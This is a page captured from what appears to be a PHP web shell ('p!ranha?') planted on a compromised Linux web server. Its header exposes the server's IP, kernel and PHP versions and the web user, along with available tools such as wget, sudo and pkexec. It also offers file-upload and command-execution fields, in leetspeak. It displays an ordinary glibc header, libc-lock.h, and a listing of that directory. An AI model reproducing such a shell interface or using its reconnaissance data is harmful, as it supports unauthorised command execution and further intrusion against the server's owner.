p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/bits/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/include/bits/libc-lock.h
/* libc-internal interface for mutex locks.  LinuxThreads version.
   Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003
   	Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public License as
   published by the Free Software Foundation; either version 2.1 of the
   License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; see the file COPYING.LIB.  If not,
   write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
   Boston, MA 02111-1307, USA.  */

#ifndef _BITS_LIBC_LOCK_H
#define _BITS_LIBC_LOCK_H 1

#include <pthread.h>

/* Mutex type.  */
#ifdef _IO_MTSAFE_IO
typedef pthread_mutex_t __libc_lock_t;
typedef struct { pthread_mutex_t mutex; } __libc_lock_recursive_t;
# ifdef __USE_UNIX98
typedef pthread_rwlock_t __libc_rwlock_t;
# else
typedef struct __libc_rwlock_opaque__ __libc_rwlock_t;
# endif
typedef __libc_lock_recursive_t __rtld_lock_recursive_t;
#else
typedef struct __libc_lock_opaque__ __libc_lock_t;
typedef struct __libc_lock_recursive_opaque__ __libc_lock_recursive_t;
typedef struct __libc_rwlock_opaque__ __libc_rwlock_t;
#endif

/* Type for key to thread-specific data.  */
typedef pthread_key_t __libc_key_t;

/* Define a lock variable NAME with storage class CLASS.  The lock must be
   initialized with __libc_lock_init before it can be used (or define it
   with __libc_lock_define_initialized, below).  Use `extern' for CLASS to
   declare a lock defined in another module.  In public structure
   definitions you must use a pointer to the lock structure (i.e., NAME
   begins with a `*'), because its storage size will not be known outside
   of libc.  */
#define __libc_lock_define(CLASS,NAME) \
  CLASS __libc_lock_t NAME;
#define __libc_rwlock_define(CLASS,NAME) \
  CLASS __libc_rwlock_t NAME;
#define __libc_lock_define_recursive(CLASS,NAME) \
  CLASS __libc_lock_recursive_t NAME;
#define __rtld_lock_define_recursive(CLASS,NAME) \
  CLASS __rtld_lock_recursive_t NAME;

/* Define an initialized lock variable NAME with storage class CLASS.

   For the C library we take a deeper look at the initializer.  For
   this implementation all fields are initialized to zero.  Therefore
   we don't initialize the variable which allows putting it into the
   BSS section.  (Except on PA-RISC and other odd architectures, where
   initialized locks must be set to one due to the lack of normal
   atomic operations.) */

#if __LT_SPINLOCK_INIT == 0
#  define __libc_lock_define_initialized(CLASS,NAME) \
  CLASS __libc_lock_t NAME;
#else
#  define __libc_lock_define_initialized(CLASS,NAME) \
  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
#endif

#define __libc_rwlock_define_initialized(CLASS,NAME) \
  CLASS __libc_rwlock_t NAME = PTHREAD_RWLOCK_INITIALIZER;

/* Define an initialized recursive lock variable NAME with storage
   class CLASS.  */
#define __libc_lock_define_initialized_recursive(CLASS,NAME) \
  CLASS __libc_lock_recursive_t NAME = _LIBC_LOCK_RECURSIVE_INITIALIZER;
#define _LIBC_LOCK_RECURSIVE_INITIALIZER \
  {PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP}

#define __rtld_lock_define_initialized_recursive(CLASS,NAME) \
  CLASS __rtld_lock_recursive_t NAME = _RTLD_LOCK_RECURSIVE_INITIALIZER;
#define _RTLD_LOCK_RECURSIVE_INITIALIZER \
  {PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP}

#if defined __PIC__
# define __libc_maybe_call(FUNC, ARGS, ELSE) \
  (__extension__ ({ __typeof (FUNC) *_fn = (FUNC); \
                    _fn != NULL ? (*_fn) ARGS : ELSE; }))
#else
# define __libc_maybe_call(FUNC, ARGS, ELSE) \
  (FUNC != NULL ? FUNC ARGS : ELSE)
#endif
#define __libc_maybe_call2(FUNC, ARGS, ELSE) __libc_maybe_call (__##FUNC, ARGS, ELSE)

/* Initialize the named lock variable, leaving it in a consistent, unlocked
   state.  */
#define __libc_lock_init(NAME) \
  (__libc_maybe_call2 (pthread_mutex_init, (&(NAME), NULL), 0))
#define __libc_rwlock_init(NAME) \
  (__libc_maybe_call (__pthread_rwlock_init, (&(NAME), NULL), 0));

/* Same as last but this time we initialize a recursive mutex.  */
#define __libc_lock_init_recursive(NAME) \
  do {									      \
    if (__pthread_mutex_init != NULL)					      \
      {									      \
	pthread_mutexattr_t __attr;					      \
	__pthread_mutexattr_init (&__attr);				      \
	__pthread_mutexattr_settype (&__attr, PTHREAD_MUTEX_RECURSIVE_NP); \
	__pthread_mutex_init (&(NAME).mutex, &__attr);			      \
	__pthread_mutexattr_destroy (&__attr);				      \
      }									      \
  } while (0);
#define __rtld_lock_init_recursive(NAME) \
  __libc_lock_init_recursive (NAME)

/* Finalize the named lock variable, which must be locked.  It cannot be
   used again until __libc_lock_init is called again on it.  This must be
   called on a lock variable before the containing storage is reused.  */
#define __libc_lock_fini(NAME) \
  (__libc_maybe_call2 (pthread_mutex_destroy, (&(NAME)), 0));
#define __libc_rwlock_fini(NAME) \
  (__libc_maybe_call (__pthread_rwlock_destroy, (&(NAME)), 0));

/* Finalize recursive named lock.  */
#define __libc_lock_fini_recursive(NAME) __libc_lock_fini ((NAME).mutex)
#define __rtld_lock_fini_recursive(NAME) __libc_lock_fini_recursive (NAME)

/* Lock the named lock variable.  */
#define __libc_lock_lock(NAME) \
  (__libc_maybe_call2 (pthread_mutex_lock, (&(NAME)), 0));
#define __libc_rwlock_rdlock(NAME) \
  (__libc_maybe_call (__pthread_rwlock_rdlock, (&(NAME)), 0));
#define __libc_rwlock_wrlock(NAME) \
  (__libc_maybe_call (__pthread_rwlock_wrlock, (&(NAME)), 0));

/* Lock the recursive named lock variable.  */
#define __libc_lock_lock_recursive(NAME) __libc_lock_lock ((NAME).mutex)

/* Try to lock the named lock variable.  */
#define __libc_lock_trylock(NAME) \
  (__libc_maybe_call2 (pthread_mutex_trylock, (&(NAME)), 0))
#define __libc_rwlock_tryrdlock(NAME) \
  (__libc_maybe_call (__pthread_rwlock_tryrdlock, (&(NAME)), 0))
#define __libc_rwlock_trywrlock(NAME) \
  (__libc_maybe_call (__pthread_rwlock_trywrlock, (&(NAME)), 0))

/* Try to lock the recursive named lock variable.  */
#define __libc_lock_trylock_recursive(NAME) __libc_lock_trylock ((NAME).mutex)
#define __rtld_lock_trylock_recursive(NAME) \
  __libc_lock_trylock_recursive (NAME)

/* Unlock the named lock variable.  */
#define __libc_lock_unlock(NAME) \
  (__libc_maybe_call2 (pthread_mutex_unlock, (&(NAME)), 0));
#define __libc_rwlock_unlock(NAME) \
  (__libc_maybe_call (__pthread_rwlock_unlock, (&(NAME)), 0));

/* Unlock the recursive named lock variable.  */
#define __libc_lock_unlock_recursive(NAME) __libc_lock_unlock ((NAME).mutex)

#define __rtld_lock_lock_recursive(NAME) __libc_lock_lock_recursive (NAME)
#define __rtld_lock_unlock_recursive(NAME) __libc_lock_unlock_recursive (NAME)

/* Define once control variable.  */
#if PTHREAD_ONCE_INIT == 0
/* Special case for static variables where we can avoid the initialization
   if it is zero.  */
# define __libc_once_define(CLASS, NAME) \
  CLASS pthread_once_t NAME
#else
# define __libc_once_define(CLASS, NAME) \
  CLASS pthread_once_t NAME = PTHREAD_ONCE_INIT
#endif

/* Call handler iff the first call.  */
#define __libc_once(ONCE_CONTROL, INIT_FUNCTION) \
  do {									      \
    if (__pthread_once != NULL)						      \
      __pthread_once (&(ONCE_CONTROL), (INIT_FUNCTION));		      \
    else if ((ONCE_CONTROL) == PTHREAD_ONCE_INIT) {			      \
      INIT_FUNCTION ();							      \
      (ONCE_CONTROL) = 2;						      \
    }									      \
  } while (0)


/* Start critical region with cleanup.  */
#define __libc_cleanup_region_start(DOIT, FCT, ARG) \
  { struct _pthread_cleanup_buffer _buffer;				      \
    int _avail = (DOIT) && _pthread_cleanup_push_defer != NULL;		      \
    if (_avail) {							      \
      _pthread_cleanup_push_defer (&_buffer, (FCT), (ARG));		      \
    }

/* End critical region with cleanup.  */
#define __libc_cleanup_region_end(DOIT) \
    if (_avail) {							      \
      _pthread_cleanup_pop_restore (&_buffer, (DOIT));			      \
    }									      \
  }

/* Sometimes we have to exit the block in the middle.  */
#define __libc_cleanup_end(DOIT) \
    if (_avail) {							      \
      _pthread_cleanup_pop_restore (&_buffer, (DOIT));			      \
    }

#define __libc_cleanup_push(fct, arg) \
    { struct _pthread_cleanup_buffer _buffer; 				      \
    __libc_maybe_call (_pthread_cleanup_push, (&_buffer, (fct), (arg)), 0)

#define __libc_cleanup_pop(execute) \
    __libc_maybe_call (_pthread_cleanup_pop, (&_buffer, execute), 0);	      \
    }

/* Create thread-specific key.  */
#define __libc_key_create(KEY, DESTRUCTOR) \
  (__libc_maybe_call (__pthread_key_create, (KEY, DESTRUCTOR), 1))

/* Get thread-specific data.  */
#define __libc_getspecific(KEY) \
  (__libc_maybe_call (__pthread_getspecific, (KEY), NULL))

/* Set thread-specific data.  */
#define __libc_setspecific(KEY, VALUE) \
  (__libc_maybe_call (__pthread_setspecific, (KEY, VALUE), 0))


/* Register handlers to execute before and after `fork'.  */
#define __libc_atfork(PREPARE, PARENT, CHILD) \
  (__libc_maybe_call (__pthread_atfork, (PREPARE, PARENT, CHILD), 0))

__BEGIN_DECLS

extern void _pthread_cleanup_push_defer (struct _pthread_cleanup_buffer *__buffer,
                                         void (*__routine) (void *),
                                         void *__arg) __THROW;

extern void _pthread_cleanup_pop_restore (struct _pthread_cleanup_buffer *__buffer,
                                          int __execute) __THROW;


/* Functions that are used by this file and are internal to the GNU C
   library.  */

extern int __pthread_mutex_init (pthread_mutex_t *__mutex,
				 __const pthread_mutexattr_t *__mutex_attr);

extern int __pthread_mutex_destroy (pthread_mutex_t *__mutex);

extern int __pthread_mutex_trylock (pthread_mutex_t *__mutex);

extern int __pthread_mutex_lock (pthread_mutex_t *__mutex);

extern int __pthread_mutex_unlock (pthread_mutex_t *__mutex);

extern int __pthread_mutexattr_init (pthread_mutexattr_t *__attr);

extern int __pthread_mutexattr_destroy (pthread_mutexattr_t *__attr);

extern int __pthread_mutexattr_settype (pthread_mutexattr_t *__attr,
					int __kind);

#ifdef __USE_UNIX98
extern int __pthread_rwlock_init (pthread_rwlock_t *__rwlock,
				  __const pthread_rwlockattr_t *__attr);

extern int __pthread_rwlock_destroy (pthread_rwlock_t *__rwlock);

extern int __pthread_rwlock_rdlock (pthread_rwlock_t *__rwlock);

extern int __pthread_rwlock_tryrdlock (pthread_rwlock_t *__rwlock);

extern int __pthread_rwlock_wrlock (pthread_rwlock_t *__rwlock);

extern int __pthread_rwlock_trywrlock (pthread_rwlock_t *__rwlock);

extern int __pthread_rwlock_unlock (pthread_rwlock_t *__rwlock);
#endif

extern int __pthread_key_create (pthread_key_t *__key,
				 void (*__destr_function) (void *));

extern int __pthread_setspecific (pthread_key_t __key,
				  __const void *__pointer);

extern void *__pthread_getspecific (pthread_key_t __key);

extern int __pthread_once (pthread_once_t *__once_control,
			   void (*__init_routine) (void));

extern int __pthread_atfork (void (*__prepare) (void),
			     void (*__parent) (void),
			     void (*__child) (void));

__END_DECLS

/* Make the pthread functions weak so that we can elide them from
   single-threaded processes.  */
#ifndef __NO_WEAK_PTHREAD_ALIASES
# pragma weak __pthread_mutex_init
# pragma weak __pthread_mutex_destroy
# pragma weak __pthread_mutex_lock
# pragma weak __pthread_mutex_trylock
# pragma weak __pthread_mutex_unlock
# pragma weak __pthread_mutexattr_init
# pragma weak __pthread_mutexattr_destroy
# pragma weak __pthread_mutexattr_settype
# pragma weak __pthread_rwlock_destroy
# pragma weak __pthread_rwlock_rdlock
# pragma weak __pthread_rwlock_tryrdlock
# pragma weak __pthread_rwlock_wrlock
# pragma weak __pthread_rwlock_trywrlock
# pragma weak __pthread_rwlock_unlock
# pragma weak __pthread_key_create
# pragma weak __pthread_setspecific
# pragma weak __pthread_getspecific
# pragma weak __pthread_once
# pragma weak __pthread_initialize
# pragma weak __pthread_atfork
# pragma weak _pthread_cleanup_push_defer
# pragma weak _pthread_cleanup_pop_restore
# pragma weak _pthread_cleanup_push
# pragma weak _pthread_cleanup_pop
#endif

/* We need portable names for some functions.  E.g., when they are
   used as argument to __libc_cleanup_region_start.  */
#define __libc_mutex_unlock __pthread_mutex_unlock

#endif	/* bits/libc-lock.h */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:20
0 / 0
0755
a.out.h
0.262 KB
June 04 2024 14:43:12
0 / 0
0644
byteswap-16.h
1.686 KB
June 04 2024 14:43:10
0 / 0
0644
byteswap.h
5.556 KB
June 04 2024 14:43:10
0 / 0
0644
cmathcalls.h
4.701 KB
June 04 2024 14:43:07
0 / 0
0644
confname.h
23.194 KB
June 04 2024 14:43:11
0 / 0
0644
dirent.h
1.688 KB
June 04 2024 14:43:10
0 / 0
0644
dlfcn.h
2.467 KB
June 04 2024 14:43:09
0 / 0
0644
elfclass.h
0.416 KB
June 04 2024 14:43:49
0 / 0
0644
endian.h
0.172 KB
June 04 2024 14:43:10
0 / 0
0644
environments.h
3.5 KB
June 04 2024 14:43:11
0 / 0
0644
epoll.h
1.112 KB
June 04 2024 14:43:12
0 / 0
0644
errno.h
2.112 KB
June 04 2024 14:43:08
0 / 0
0644
error.h
2.621 KB
June 04 2024 14:43:12
0 / 0
0644
eventfd.h
1.102 KB
June 04 2024 14:43:12
0 / 0
0644
fcntl-linux.h
12.555 KB
June 04 2024 14:43:11
0 / 0
0644
fcntl.h
2.192 KB
June 04 2024 14:43:11
0 / 0
0644
fcntl2.h
5.444 KB
June 04 2024 14:43:11
0 / 0
0644
fenv.h
3.938 KB
June 04 2024 14:43:07
0 / 0
0644
fenvinline.h
0.186 KB
June 04 2024 14:43:07
0 / 0
0644
huge_val.h
1.83 KB
June 04 2024 14:43:07
0 / 0
0644
huge_valf.h
1.791 KB
June 04 2024 14:43:07
0 / 0
0644
huge_vall.h
1.57 KB
June 04 2024 14:43:07
0 / 0
0644
hwcap.h
0.943 KB
June 04 2024 14:43:12
0 / 0
0644
in.h
9.007 KB
June 04 2024 14:43:47
0 / 0
0644
inf.h
1.031 KB
June 04 2024 14:43:07
0 / 0
0644
initspin.h
0.024 KB
June 04 2024 14:43:11
0 / 0
0644
inotify.h
1.054 KB
June 04 2024 14:43:12
0 / 0
0644
ioctl-types.h
2.41 KB
June 04 2024 14:43:12
0 / 0
0644
ioctls.h
4.385 KB
June 04 2024 14:43:12
0 / 0
0644
ipc.h
2.006 KB
June 04 2024 14:43:12
0 / 0
0644
ipctypes.h
1.143 KB
June 04 2024 14:43:12
0 / 0
0644
libc-lock.h
12.543 KB
October 19 2011 11:04:41
0 / 0
0644
libio-ldbl.h
0.99 KB
June 04 2024 14:43:09
0 / 0
0644
link.h
4.197 KB
June 04 2024 14:43:49
0 / 0
0644
local_lim.h
3.129 KB
June 04 2024 14:43:11
0 / 0
0644
locale.h
1.335 KB
June 04 2024 14:43:01
0 / 0
0644
math-finite.h
14.24 KB
June 04 2024 14:43:07
0 / 0
0644
mathcalls.h
11.303 KB
June 04 2024 14:43:07
0 / 0
0644
mathdef.h
2.138 KB
June 04 2024 14:43:07
0 / 0
0644
mathinline.h
30.86 KB
June 04 2024 14:43:07
0 / 0
0644
mman.h
4.778 KB
June 04 2024 14:43:12
0 / 0
0644
monetary-ldbl.h
1.017 KB
June 04 2024 14:43:08
0 / 0
0644
mqueue.h
1.216 KB
June 04 2024 14:43:45
0 / 0
0644
mqueue2.h
2.106 KB
June 04 2024 14:43:45
0 / 0
0644
msq.h
2.47 KB
June 04 2024 14:43:12
0 / 0
0644
nan.h
1.537 KB
June 04 2024 14:43:07
0 / 0
0644
netdb.h
1.252 KB
June 04 2024 14:43:44
0 / 0
0644
param.h
1.398 KB
June 04 2024 14:43:12
0 / 0
0644
poll.h
2.039 KB
June 04 2024 14:43:11
0 / 0
0644
poll2.h
2.862 KB
June 04 2024 14:43:11
0 / 0
0644
posix1_lim.h
4.807 KB
June 04 2024 14:43:11
0 / 0
0644
posix2_lim.h
2.817 KB
June 04 2024 14:43:11
0 / 0
0644
posix_opt.h
5.648 KB
June 04 2024 14:43:11
0 / 0
0644
printf-ldbl.h
0.963 KB
June 04 2024 14:43:09
0 / 0
0644
pthreadtypes.h
6.328 KB
June 04 2024 14:43:11
0 / 0
0644
resource.h
9.214 KB
June 04 2024 14:43:12
0 / 0
0644
sched.h
7.366 KB
June 04 2024 14:43:11
0 / 0
0644
select.h
2.075 KB
June 04 2024 14:43:12
0 / 0
0644
select2.h
1.404 KB
June 04 2024 14:43:12
0 / 0
0644
sem.h
2.526 KB
June 04 2024 14:43:12
0 / 0
0644
semaphore.h
1.209 KB
June 04 2024 14:43:44
0 / 0
0644
setjmp.h
1.257 KB
June 04 2024 14:43:08
0 / 0
0644
setjmp2.h
1.665 KB
June 04 2024 14:43:08
0 / 0
0644
shm.h
3.437 KB
June 04 2024 14:43:12
0 / 0
0644
sigaction.h
2.785 KB
June 04 2024 14:43:08
0 / 0
0644
sigcontext.h
4.076 KB
June 04 2024 14:43:08
0 / 0
0644
siginfo.h
9.813 KB
June 04 2024 14:43:08
0 / 0
0644
signalfd.h
1.041 KB
June 04 2024 14:43:12
0 / 0
0644
signum.h
3.337 KB
June 04 2024 14:43:08
0 / 0
0644
sigset.h
4.479 KB
June 04 2024 14:43:08
0 / 0
0644
sigstack.h
1.492 KB
June 04 2024 14:43:08
0 / 0
0644
sigthread.h
1.636 KB
June 04 2024 14:43:08
0 / 0
0644
sockaddr.h
1.497 KB
June 04 2024 14:43:12
0 / 0
0644
socket.h
12.603 KB
June 04 2024 14:43:12
0 / 0
0644
socket2.h
2.954 KB
June 04 2024 14:43:12
0 / 0
0644
socket_type.h
2.163 KB
June 04 2024 14:43:12
0 / 0
0644
stab.def
8.822 KB
June 04 2024 14:43:12
0 / 0
0644
stat.h
7.462 KB
June 04 2024 14:43:11
0 / 0
0644
statfs.h
1.891 KB
June 04 2024 14:43:11
0 / 0
0644
statvfs.h
3.342 KB
June 04 2024 14:43:11
0 / 0
0644
stdio-ldbl.h
3.106 KB
June 04 2024 14:43:09
0 / 0
0644
stdio-lock.h
2.136 KB
June 04 2024 14:41:10
0 / 0
0644
stdio.h
5.451 KB
June 04 2024 14:43:09
0 / 0
0644
stdio2.h
12.361 KB
June 04 2024 14:43:09
0 / 0
0644
stdio_lim.h
1.341 KB
June 04 2024 14:43:09
0 / 0
0644
stdlib-float.h
1.124 KB
June 04 2024 14:43:08
0 / 0
0644
stdlib-ldbl.h
1.362 KB
June 04 2024 14:43:08
0 / 0
0644
stdlib.h
5.532 KB
June 04 2024 14:43:08
0 / 0
0644
string.h
56.479 KB
June 04 2024 14:43:10
0 / 0
0644
string2.h
46.082 KB
June 04 2024 14:43:10
0 / 0
0644
string3.h
4.385 KB
June 04 2024 14:43:10
0 / 0
0644
sys_errlist.h
1.187 KB
June 04 2024 14:43:09
0 / 0
0644
syscall.h
43.027 KB
June 04 2024 14:43:12
0 / 0
0644
sysctl.h
0.872 KB
June 04 2024 14:43:12
0 / 0
0644
syslog-ldbl.h
1.175 KB
June 04 2024 14:43:12
0 / 0
0644
syslog-path.h
1.03 KB
June 04 2024 14:43:12
0 / 0
0644
syslog.h
1.656 KB
June 04 2024 14:43:12
0 / 0
0644
termios.h
5.227 KB
June 04 2024 14:43:11
0 / 0
0644
time.h
3.346 KB
June 04 2024 14:43:10
0 / 0
0644
timerfd.h
1.076 KB
June 04 2024 14:43:12
0 / 0
0644
timex.h
4.364 KB
June 04 2024 14:43:10
0 / 0
0644
types.h
7.548 KB
June 04 2024 14:43:11
0 / 0
0644
typesizes.h
3.149 KB
June 04 2024 14:43:11
0 / 0
0644
uio.h
2.422 KB
June 04 2024 14:43:12
0 / 0
0644
unistd.h
13.07 KB
June 04 2024 14:43:11
0 / 0
0644
ustat.h
1.064 KB
June 04 2024 14:43:12
0 / 0
0644
utmp.h
3.874 KB
June 04 2024 14:43:49
0 / 0
0644
utmpx.h
3.379 KB
June 04 2024 14:43:49
0 / 0
0644
utsname.h
1.19 KB
June 04 2024 14:43:11
0 / 0
0644
waitflags.h
1.609 KB
June 04 2024 14:43:11
0 / 0
0644
waitstatus.h
3.488 KB
June 04 2024 14:43:11
0 / 0
0644
wchar-ldbl.h
2.448 KB
June 04 2024 14:43:10
0 / 0
0644
wchar.h
1.106 KB
June 04 2024 14:43:10
0 / 0
0644
wchar2.h
20.043 KB
June 04 2024 14:43:10
0 / 0
0644
wordsize.h
0.319 KB
June 04 2024 14:43:08
0 / 0
0644
xopen_lim.h
3.682 KB
June 04 2024 14:43:00
0 / 0
0644